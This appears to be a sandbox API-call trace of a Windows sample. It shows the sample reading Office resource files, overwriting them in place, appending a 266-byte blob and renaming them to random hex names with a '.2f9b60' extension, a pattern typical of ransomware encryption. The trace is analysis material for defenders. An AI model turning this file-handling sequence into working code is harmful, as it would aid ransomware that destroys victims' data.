[0146.673] RtlRandomEx (in: Seed=0x3f41fb30 | out: Seed=0x3f41fb30) returned 0x4671342 [0146.673] RtlRandomEx (in: Seed=0x3f41fb30 | out: Seed=0x3f41fb30) returned 0x39ed55a0 [0146.673] RtlRandomEx (in: Seed=0x3f41fb30 | out: Seed=0x3f41fb30) returned 0x7fc16278 [0146.673] RtlRandomEx (in: Seed=0x3f41fb30 | out: Seed=0x3f41fb30) returned 0x1d9f7d83 [0146.673] RtlRandomEx (in: Seed=0x3f41fb30 | out: Seed=0x3f41fb30) returned 0xb79bbe [0146.673] RtlRandomEx (in: Seed=0x3f41fb30 | out: Seed=0x3f41fb30) returned 0x2bbb0c88 [0146.673] RtlRandomEx (in: Seed=0x3f41fb30 | out: Seed=0x3f41fb30) returned 0x192e9d6b [0146.673] RtlRandomEx (in: Seed=0x3f41fb30 | out: Seed=0x3f41fb30) returned 0x474037b1 [0146.673] RtlRandomEx (in: Seed=0x3f41fb30 | out: Seed=0x3f41fb30) returned 0x3266b1c0 [0146.673] RtlRandomEx (in: Seed=0x3f41fb30 | out: Seed=0x3f41fb30) returned 0x55345f1f [0146.673] RtlRandomEx (in: Seed=0x3f41fb30 | out: Seed=0x3f41fb30) returned 0x203ba2ba [0146.673] RtlRandomEx (in: Seed=0x3f41fb30 | out: Seed=0x3f41fb30) returned 0x7845d23f [0146.673] RtlRandomEx (in: Seed=0x3f41fb30 | out: Seed=0x3f41fb30) returned 0x12f29822 [0146.673] RtlRandomEx (in: Seed=0x3f41fb30 | out: Seed=0x3f41fb30) returned 0x27cce6e9 [0146.673] RtlRandomEx (in: Seed=0x3f41fb30 | out: Seed=0x3f41fb30) returned 0x2ba116 [0146.681] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7ef0 [0146.682] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867340 [0146.682] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8280 [0146.682] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867340) returned 1 [0146.682] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6c90) returned 1 [0146.682] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8460) returned 1 [0146.683] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ba0 [0146.683] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867340 [0146.683] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8460 [0146.683] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8460) returned 1 [0146.683] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42192140 [0146.683] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x423500b0 [0146.684] ReadFile (in: hFile=0x1f18, lpBuffer=0x42192140, nNumberOfBytesToRead=0x77f, lpNumberOfBytesRead=0x3f41fb30, lpOverlapped=0x0 | out: lpBuffer=0x42192140*, lpNumberOfBytesRead=0x3f41fb30*=0x77f, lpOverlapped=0x0) returned 1 [0146.684] SetFilePointerEx (in: hFile=0x1f18, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.684] WriteFile (in: hFile=0x1f18, lpBuffer=0x423500b0*, nNumberOfBytesToWrite=0x77f, lpNumberOfBytesWritten=0x3f41fb34, lpOverlapped=0x0 | out: lpBuffer=0x423500b0*, lpNumberOfBytesWritten=0x3f41fb34*=0x77f, lpOverlapped=0x0) returned 1 [0146.693] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced70b0 [0146.693] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7c50 [0146.694] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7c50) returned 1 [0146.694] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423500b0) returned 1 [0146.694] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42192140) returned 1 [0146.694] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867340) returned 1 [0146.694] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ba0) returned 1 [0146.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1ced7c50 [0146.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ba0 [0146.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867340 [0146.695] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8520 [0146.695] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8520) returned 1 [0146.695] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1ced8520 [0146.695] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6b70 [0146.695] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced76b0 [0146.695] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced76b0) returned 1 [0146.695] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867340) returned 1 [0146.696] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ba0) returned 1 [0146.696] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x1674c0 [0146.696] SetFilePointerEx (in: hFile=0x1f18, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0146.696] WriteFile (in: hFile=0x1f18, lpBuffer=0x1674c0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3f41fc50, lpOverlapped=0x0 | out: lpBuffer=0x1674c0*, lpNumberOfBytesWritten=0x3f41fc50*=0x10a, lpOverlapped=0x0) returned 1 [0146.712] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ba0 [0146.712] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867340 [0146.712] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced76b0 [0146.712] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced76b0) returned 1 [0146.712] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0146.712] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced76b0 [0146.712] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced81f0 [0146.713] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced81f0) returned 1 [0146.713] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867340) returned 1 [0146.713] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ba0) returned 1 [0146.713] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda07f0 [0146.713] sprintf (in: _Dest=0x1cda07f0, _Format="%c%c" | out: _Dest="83") returned 2 [0146.713] sprintf (in: _Dest=0x1cda07f2, _Format="%c%c" | out: _Dest="38") returned 2 [0146.713] sprintf (in: _Dest=0x1cda07f4, _Format="%c%c" | out: _Dest="b6") returned 2 [0146.713] sprintf (in: _Dest=0x1cda07f6, _Format="%c%c" | out: _Dest="d4") returned 2 [0146.713] sprintf (in: _Dest=0x1cda07f8, _Format="%c%c" | out: _Dest="35") returned 2 [0146.713] sprintf (in: _Dest=0x1cda07fa, _Format="%c%c" | out: _Dest="99") returned 2 [0146.713] sprintf (in: _Dest=0x1cda07fc, _Format="%c%c" | out: _Dest="03") returned 2 [0146.713] sprintf (in: _Dest=0x1cda07fe, _Format="%c%c" | out: _Dest="cc") returned 2 [0146.713] sprintf (in: _Dest=0x1cda0800, _Format="%c%c" | out: _Dest="27") returned 2 [0146.713] sprintf (in: _Dest=0x1cda0802, _Format="%c%c" | out: _Dest="7a") returned 2 [0146.713] sprintf (in: _Dest=0x1cda0804, _Format="%c%c" | out: _Dest="28") returned 2 [0146.714] sprintf (in: _Dest=0x1cda0806, _Format="%c%c" | out: _Dest="66") returned 2 [0146.714] sprintf (in: _Dest=0x1cda0808, _Format="%c%c" | out: _Dest="9e") returned 2 [0146.714] sprintf (in: _Dest=0x1cda080a, _Format="%c%c" | out: _Dest="3b") returned 2 [0146.714] sprintf (in: _Dest=0x1cda080c, _Format="%c%c" | out: _Dest="60") returned 2 [0146.714] sprintf (in: _Dest=0x1cda080e, _Format="%c%c" | out: _Dest="fb") returned 2 [0146.714] sprintf (in: _Dest=0x1cda0810, _Format="%c%c" | out: _Dest="dd") returned 2 [0146.714] sprintf (in: _Dest=0x1cda0812, _Format="%c%c" | out: _Dest="b5") returned 2 [0146.714] sprintf (in: _Dest=0x1cda0814, _Format="%c%c" | out: _Dest="a0") returned 2 [0146.714] sprintf (in: _Dest=0x1cda0816, _Format="%c%c" | out: _Dest="aa") returned 2 [0146.714] sprintf (in: _Dest=0x1cda0818, _Format="%c%c" | out: _Dest="c5") returned 2 [0146.714] sprintf (in: _Dest=0x1cda081a, _Format="%c%c" | out: _Dest="9a") returned 2 [0146.714] sprintf (in: _Dest=0x1cda081c, _Format="%c%c" | out: _Dest="81") returned 2 [0146.714] sprintf (in: _Dest=0x1cda081e, _Format="%c%c" | out: _Dest="1e") returned 2 [0146.714] RtlInitAnsiString (in: DestinationString=0x3f41fcc8, SourceString="8338b6d4359903cc277a28669e3b60fbddb5a0aac59a811e" | out: DestinationString="8338b6d4359903cc277a28669e3b60fbddb5a0aac59a811e") [0146.714] RtlAnsiStringToUnicodeString (in: DestinationString=0x3f41fc98, SourceString="8338b6d4359903cc277a28669e3b60fbddb5a0aac59a811e", AllocateDestinationString=1 | out: DestinationString="8338b6d4359903cc277a28669e3b60fbddb5a0aac59a811e") returned 0x0 [0146.714] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9710 [0146.715] RtlFreeAnsiString (AnsiString="8") [0146.715] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cda07f0) returned 1 [0146.715] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0146.715] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced76b0) returned 1 [0146.715] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1674c0) returned 1 [0146.715] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8520) returned 1 [0146.715] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6b70) returned 1 [0146.716] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7c50) returned 1 [0146.716] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced70b0) returned 1 [0146.716] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6ab0) returned 1 [0146.716] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7ef0) returned 1 [0146.716] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8280) returned 1 [0146.716] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86bdc0 [0146.716] wcscat (in: _Dest=0x1b86bdc0, _Source="8338b6d43599" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\8338b6d43599") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\8338b6d43599" [0146.717] wcscat (in: _Dest=0x1b86bdc0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\8338b6d43599.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\8338b6d43599.2f9b60" [0146.717] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\8338b6d43599.2f9b60", NtPathName=0x3f41fc70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\8338b6d43599.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0146.717] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x1ce10dc0 [0146.717] NtSetInformationFile (FileHandle=0x1f18, IoStatusBlock=0x3f41fd10, FileInformation=0x1ce10dc0, Length=0xa6, FileInformationClass=0xa) Thread: id = 2252 os_tid = 0xd48 [0143.050] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacduct.vrd")) returned 0x20 [0145.249] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD", dwFileAttributes=0x20) returned 1 [0146.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacduct.vrd"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1f64 [0146.547] GetFileSizeEx (in: hFile=0x1f64, lpFileSize=0x3f7bfa20 | out: lpFileSize=0x3f7bfa20*=1309) returned 1 [0146.548] SetFilePointerEx (in: hFile=0x1f64, liDistanceToMove=0x519, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.548] ReadFile (in: hFile=0x1f64, lpBuffer=0x3f7bf9a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3f7bf9e8, lpOverlapped=0x0 | out: lpBuffer=0x3f7bf9a0*, lpNumberOfBytesRead=0x3f7bf9e8*=0x4, lpOverlapped=0x0) returned 1 [0146.618] SetFilePointerEx (in: hFile=0x1f64, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.618] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6e70 [0146.618] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8520 [0146.618] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6ae0 [0146.618] NtQuerySystemTime (in: CurrentTime=0x3f7bf8e0 | out: CurrentTime=0x3f7bf8e0*=132462177518578000) returned 0x0 [0146.618] RtlRandomEx (in: Seed=0x3f7bf8d0 | out: Seed=0x3f7bf8d0) returned 0x4ba2d36f [0146.619] RtlRandomEx (in: Seed=0x3f7bf8d0 | out: Seed=0x3f7bf8d0) returned 0x1faddfc2 [0146.619] RtlRandomEx (in: Seed=0x3f7bf8d0 | out: Seed=0x3f7bf8d0) returned 0x21e794dd [0146.619] RtlRandomEx (in: Seed=0x3f7bf8d0 | out: Seed=0x3f7bf8d0) returned 0x108b0d2c [0146.619] RtlRandomEx (in: Seed=0x3f7bf8d0 | out: Seed=0x3f7bf8d0) returned 0x961f76c [0146.619] RtlRandomEx (in: Seed=0x3f7bf8d0 | out: Seed=0x3f7bf8d0) returned 0x94c1815 [0146.619] RtlRandomEx (in: Seed=0x3f7bf8d0 | out: Seed=0x3f7bf8d0) returned 0x52e762d8 [0146.619] RtlRandomEx (in: Seed=0x3f7bf8d0 | out: Seed=0x3f7bf8d0) returned 0x3142e234 [0146.619] RtlRandomEx (in: Seed=0x3f7bf8d0 | out: Seed=0x3f7bf8d0) returned 0x53f1db35 [0146.619] RtlRandomEx (in: Seed=0x3f7bf8d0 | out: Seed=0x3f7bf8d0) returned 0x3cf71b60 [0146.619] RtlRandomEx (in: Seed=0x3f7bf8d0 | out: Seed=0x3f7bf8d0) returned 0x16e63cc4 [0146.619] RtlRandomEx (in: Seed=0x3f7bf8d0 | out: Seed=0x3f7bf8d0) returned 0x5b4e0526 [0146.619] RtlRandomEx (in: Seed=0x3f7bf8d0 | out: Seed=0x3f7bf8d0) returned 0x57595bb4 [0146.619] RtlRandomEx (in: Seed=0x3f7bf8d0 | out: Seed=0x3f7bf8d0) returned 0x3951744e [0146.619] RtlRandomEx (in: Seed=0x3f7bf8d0 | out: Seed=0x3f7bf8d0) returned 0x2e8d21eb [0146.619] RtlRandomEx (in: Seed=0x3f7bf8d0 | out: Seed=0x3f7bf8d0) returned 0x175edd52 [0146.619] RtlRandomEx (in: Seed=0x3f7bf8d0 | out: Seed=0x3f7bf8d0) returned 0x70fe018c [0146.619] RtlRandomEx (in: Seed=0x3f7bf8d0 | out: Seed=0x3f7bf8d0) returned 0x69186c05 [0146.619] RtlRandomEx (in: Seed=0x3f7bf8d0 | out: Seed=0x3f7bf8d0) returned 0x67abfc97 [0146.619] RtlRandomEx (in: Seed=0x3f7bf8d0 | out: Seed=0x3f7bf8d0) returned 0x63228bf2 [0146.619] RtlRandomEx (in: Seed=0x3f7bf8d0 | out: Seed=0x3f7bf8d0) returned 0x295e4906 [0146.619] RtlRandomEx (in: Seed=0x3f7bf8d0 | out: Seed=0x3f7bf8d0) returned 0x21e794dd [0146.619] RtlRandomEx (in: Seed=0x3f7bf8d0 | out: Seed=0x3f7bf8d0) returned 0x6a9ef1dd [0146.619] RtlRandomEx (in: Seed=0x3f7bf8d0 | out: Seed=0x3f7bf8d0) returned 0x1ee4575d [0146.619] RtlRandomEx (in: Seed=0x3f7bf8d0 | out: Seed=0x3f7bf8d0) returned 0x73211c9e [0146.619] RtlRandomEx (in: Seed=0x3f7bf8d0 | out: Seed=0x3f7bf8d0) returned 0x40b70c9e [0146.619] RtlRandomEx (in: Seed=0x3f7bf8d0 | out: Seed=0x3f7bf8d0) returned 0x63cfb9f8 [0146.619] RtlRandomEx (in: Seed=0x3f7bf8d0 | out: Seed=0x3f7bf8d0) returned 0x55cf20b8 [0146.619] RtlRandomEx (in: Seed=0x3f7bf8d0 | out: Seed=0x3f7bf8d0) returned 0x1c48675b [0146.619] RtlRandomEx (in: Seed=0x3f7bf8d0 | out: Seed=0x3f7bf8d0) returned 0x3a139d37 [0146.619] RtlRandomEx (in: Seed=0x3f7bf8d0 | out: Seed=0x3f7bf8d0) returned 0x36d541bf [0146.619] RtlRandomEx (in: Seed=0x3f7bf8d0 | out: Seed=0x3f7bf8d0) returned 0x2ae5f891 [0146.627] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7c50 [0146.627] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866dc0 [0146.627] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced70b0 [0146.628] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866dc0) returned 1 [0146.628] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6ae0) returned 1 [0146.628] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6e70) returned 1 [0146.628] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420590b0 [0146.628] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866dc0 [0146.628] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6e70 [0146.629] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6e70) returned 1 [0146.629] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x422401c0 [0146.629] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42243dd0 [0146.629] ReadFile (in: hFile=0x1f64, lpBuffer=0x422401c0, nNumberOfBytesToRead=0x51d, lpNumberOfBytesRead=0x3f7bf8d0, lpOverlapped=0x0 | out: lpBuffer=0x422401c0*, lpNumberOfBytesRead=0x3f7bf8d0*=0x51d, lpOverlapped=0x0) returned 1 [0146.629] SetFilePointerEx (in: hFile=0x1f64, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.629] WriteFile (in: hFile=0x1f64, lpBuffer=0x42243dd0*, nNumberOfBytesToWrite=0x51d, lpNumberOfBytesWritten=0x3f7bf8d4, lpOverlapped=0x0 | out: lpBuffer=0x42243dd0*, lpNumberOfBytesWritten=0x3f7bf8d4*=0x51d, lpOverlapped=0x0) returned 1 [0146.653] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6b70 [0146.653] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced76b0 [0146.654] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced76b0) returned 1 [0146.654] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42243dd0) returned 1 [0146.654] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422401c0) returned 1 [0146.654] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866dc0) returned 1 [0146.654] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420590b0) returned 1 [0146.654] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1ced76b0 [0146.654] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420590b0 [0146.655] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866dc0 [0146.655] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced81f0 [0146.655] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced81f0) returned 1 [0146.655] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1ced81f0 [0146.655] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6b40 [0146.655] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8460 [0146.657] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8460) returned 1 [0146.657] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866dc0) returned 1 [0146.657] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420590b0) returned 1 [0146.657] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x1674c0 [0146.657] SetFilePointerEx (in: hFile=0x1f64, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0146.657] WriteFile (in: hFile=0x1f64, lpBuffer=0x1674c0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3f7bf9f0, lpOverlapped=0x0 | out: lpBuffer=0x1674c0*, lpNumberOfBytesWritten=0x3f7bf9f0*=0x10a, lpOverlapped=0x0) returned 1 [0146.685] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059100 [0146.686] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867e40 [0146.686] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8460 [0146.686] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8460) returned 1 [0146.686] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0146.686] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8460 [0146.686] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6c90 [0146.687] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6c90) returned 1 [0146.687] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867e40) returned 1 [0146.687] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059100) returned 1 [0146.687] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda07f0 [0146.687] sprintf (in: _Dest=0x1cda07f0, _Format="%c%c" | out: _Dest="49") returned 2 [0146.687] sprintf (in: _Dest=0x1cda07f2, _Format="%c%c" | out: _Dest="a1") returned 2 [0146.687] sprintf (in: _Dest=0x1cda07f4, _Format="%c%c" | out: _Dest="a6") returned 2 [0146.687] sprintf (in: _Dest=0x1cda07f6, _Format="%c%c" | out: _Dest="5c") returned 2 [0146.687] sprintf (in: _Dest=0x1cda07f8, _Format="%c%c" | out: _Dest="c5") returned 2 [0146.687] sprintf (in: _Dest=0x1cda07fa, _Format="%c%c" | out: _Dest="5e") returned 2 [0146.687] sprintf (in: _Dest=0x1cda07fc, _Format="%c%c" | out: _Dest="d8") returned 2 [0146.687] sprintf (in: _Dest=0x1cda07fe, _Format="%c%c" | out: _Dest="ae") returned 2 [0146.687] sprintf (in: _Dest=0x1cda0800, _Format="%c%c" | out: _Dest="3a") returned 2 [0146.687] sprintf (in: _Dest=0x1cda0802, _Format="%c%c" | out: _Dest="80") returned 2 [0146.687] sprintf (in: _Dest=0x1cda0804, _Format="%c%c" | out: _Dest="38") returned 2 [0146.687] sprintf (in: _Dest=0x1cda0806, _Format="%c%c" | out: _Dest="89") returned 2 [0146.687] sprintf (in: _Dest=0x1cda0808, _Format="%c%c" | out: _Dest="ee") returned 2 [0146.687] sprintf (in: _Dest=0x1cda080a, _Format="%c%c" | out: _Dest="4b") returned 2 [0146.687] sprintf (in: _Dest=0x1cda080c, _Format="%c%c" | out: _Dest="be") returned 2 [0146.687] sprintf (in: _Dest=0x1cda080e, _Format="%c%c" | out: _Dest="87") returned 2 [0146.688] sprintf (in: _Dest=0x1cda0810, _Format="%c%c" | out: _Dest="d3") returned 2 [0146.688] sprintf (in: _Dest=0x1cda0812, _Format="%c%c" | out: _Dest="bd") returned 2 [0146.688] sprintf (in: _Dest=0x1cda0814, _Format="%c%c" | out: _Dest="63") returned 2 [0146.688] sprintf (in: _Dest=0x1cda0816, _Format="%c%c" | out: _Dest="c6") returned 2 [0146.688] sprintf (in: _Dest=0x1cda0818, _Format="%c%c" | out: _Dest="5c") returned 2 [0146.688] sprintf (in: _Dest=0x1cda081a, _Format="%c%c" | out: _Dest="f8") returned 2 [0146.688] sprintf (in: _Dest=0x1cda081c, _Format="%c%c" | out: _Dest="15") returned 2 [0146.688] sprintf (in: _Dest=0x1cda081e, _Format="%c%c" | out: _Dest="4c") returned 2 [0146.688] RtlInitAnsiString (in: DestinationString=0x3f7bfa68, SourceString="49a1a65cc55ed8ae3a803889ee4bbe87d3bd63c65cf8154c" | out: DestinationString="49a1a65cc55ed8ae3a803889ee4bbe87d3bd63c65cf8154c") [0146.688] RtlAnsiStringToUnicodeString (in: DestinationString=0x3f7bfa38, SourceString="49a1a65cc55ed8ae3a803889ee4bbe87d3bd63c65cf8154c", AllocateDestinationString=1 | out: DestinationString="49a1a65cc55ed8ae3a803889ee4bbe87d3bd63c65cf8154c") returned 0x0 [0146.688] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9320 [0146.688] RtlFreeAnsiString (AnsiString="4") [0146.688] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cda07f0) returned 1 [0146.689] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0146.689] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8460) returned 1 [0146.689] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1674c0) returned 1 [0146.689] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced81f0) returned 1 [0146.689] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6b40) returned 1 [0146.689] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced76b0) returned 1 [0146.689] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6b70) returned 1 [0146.690] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8520) returned 1 [0146.690] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7c50) returned 1 [0146.690] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced70b0) returned 1 [0146.690] 